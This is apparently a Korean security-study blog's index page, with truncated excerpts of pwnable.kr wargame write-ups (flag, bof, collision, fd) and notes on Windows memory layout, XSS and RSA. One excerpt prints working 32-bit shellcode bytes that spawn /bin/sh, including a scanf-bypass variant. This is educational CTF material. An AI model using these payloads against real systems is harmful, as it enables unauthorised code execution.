본문 바로가기

전체 글

(47)
[pwnable.kr] flag 문제 풀이 ※ pwnable.kr의 워게임 flag 문제이다. 1. 프로그램 분석 1)flag 실행 파일만 있기 때문에 실행 파일을 실행시켜 보았다. 동적 메모리를 할당하고 flag가 그 메모리에 복사되어 진다고 한다. 2) 그래서 flag 실행 파일을 gdb로 분석을 하려고 하였다. 하지만 main함수를 찾을 수 없었다. 3) flag 실행 파일을 cat으로 출력하여 보았다. UPX라는 단어가 보인다. 4) UPX는 패킹 도구 중 하나이다. 패킹은 파일의 크기를 줄이기 위해 압축하는 것이다. 파일 코드를 숨기기 위해 패킹을 하기도 한다. 그러므로 실행 파일을 UPX 언패킹을 시켜 gdb로 분석할 것이다. 2. 풀이 1) UPX 언패킹을 할 것이다. UPX 언패킹은 오픈소스로 gitgub에 있기 때문에 설치하여 사..
[pwnable.kr] bof 문제 풀이 ※ pwnable.kr의 워게임 bof 문제이다. 1. bof.c 파일을 열어보면 다음과 같다. #include #include #include void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme);// smash me! if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; } 2. 프로그램 분석 main 함수가 func 함수를 호출하여 실행하는 프로그램이다. func 함수는 매개변수로 받은 값이 0xcafebabe와 일치하..
[pwnable.kr] collision 문제 풀이 ※ pwnable.kr의 워게임 collision 문제이다. 1. 일단 문제를 풀기 위해 서버에 접속한다. 2. 리눅스 명령어 ls로 확인한 결과 col 실행파일, fd.c 파일, flag 파일이 존재한다는 것을 알 수 있다. 3. col.c 파일을 열어보면 다음과 같다. #include #include unsigned long hashcode = 0x21DD09EC; unsigned long check_password(const char* p){ int* ip = (int*)p; int i; int res=0; for(i=0; i
[pwnable.kr] fd 문제 풀이 ※ pwnable.kr의 워게임 fd 문제이다. 1. 일단 문제를 풀기 위해 서버에 접속하였다. 2. 리눅스 명령어 ls로 확인해본 결과 fd 실행파일, fd.c 파일, flag 파일이 존재하는것을 알 수 있다. 3. fd.c 파일을 열어보면 다음과 같다. #include #include #include char buf[32]; int main(int argc, char* argv[], char* envp[]){ if(argc
4. Windows Memory Layout 저번 시간에는 정적 분석과 동적 분석에 대하여 공부하였다. 이번 시간에는 윈도우 메모리 레이아웃에 대하여 공부할 것이다. 1. 메모리 레이아웃 메모리 레이아웃은 프로세스 가상 메모리의 구성을 말한다. 가상 메모리는 프로그램을 실행할 때 운영체제가 프로세스에게 사용 가능한 메모리 공간을 할당해주는데 이 때 메모리 공간을 의미한다. 운영체제는 프로그램의 정보를 참조하여 프로그램에 저장된 데이터가 적절한 영역에 저장되게 해야 한다. 2. 섹션 윈도우의 PE 파일은 PE 헤더와 1개 이상의 섹션으로 구성되어 있다. 섹션은 유사한 용도로 사용되는 데이터가 모여있는 영역이다. 섹션에 대한 정보는 PE 헤더에 적혀져 있다. ※ PE 헤더에 저장되어 있는 섹션과 관련된 데이터 섹션의 이름 섹션의 크기 센션의 로드될 주..
[System Hacking] 쉘 코드 모음(32비트, 64비트) 1. 32비트 쉘 코드 25 Bytes Shell Code (기본) \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 26 Bytes Shell Code (scanf 우회 : scanf는 \x09, \x0a, \x0b, \x0c, \x0d, \x20를 읽지 못한다.) \x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80 41 Bytes Shell Code (setreuid(geteuid(), getreuid()) 포함) \x31\xc0\xb0\..
[Web Hacking] Cross Site Scripting : XSS 1. XSS XSS는 공격자가 웹 리소스에 악성 스크립트를 삽입해 이용자의 웹 브라우저에서 해당 스크립트를 실행할 수 있다. 공격자는 해당 취약점을 통해 특정 계정의 세션 정보를 탈취하고 해당 계정으로 임의의 기능을 수행할 수 있다. XSS 공격은 OWASP Top 10에 포함되어 있다. XSS는 SOP 보안 정책이 등장하면서 서로 다른 오리진에서는 정보를 읽는 행위가 이전에 비해 힘들어졌다. 그러나 이를 우회하는 다양한 기술이 나오면서 XSS 공격이 지속되고 있다. 2. XSS 종류 1) Stored XSS XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS 서버의 데이터베이스 또는 파일 등의 형태로 저장된 악성 스크립트를 조회할 때 발생 사이트 게시판이나 댓글, 닉네임 등..
7. 공개키 암호 : RSA 저번 시간에는 Diffie-Hellman 알고리즘에 대하여 공부하였다. 이번 시간에는 공개키 암호 중 RSA에 대하여 공부할 것이다. 1. RSA RSA 암호 알고리즘에서는 모든 사용자에게 공개되는 공개키로 평문을 암호화하고, 타인에게 노출되어서는 안되는 개인키로 암호문을 복호화한다. RSA 암호 알고리즘의 안정성은 아주 큰 두 소수의 곱으로 이루어진 합성수를 인수분해하기 어렵다는 인수분해 문제의 어려움에서 나온다. 따라서 암호화할 때는 합성수의 소인수분해가 어려워지도록 각 인자를 적절히 설정해야한다. 1) 오일러 정리 오일러 정리는 n과 서로소인 양의 정수 m이 다음 식을 만족한다는 정리이다. mφ(n) ≡ 1 (mod n) φ(n) : 오일러 파이 함수이다. 오일러 파이함수는 n 이하의 양의 정수 중..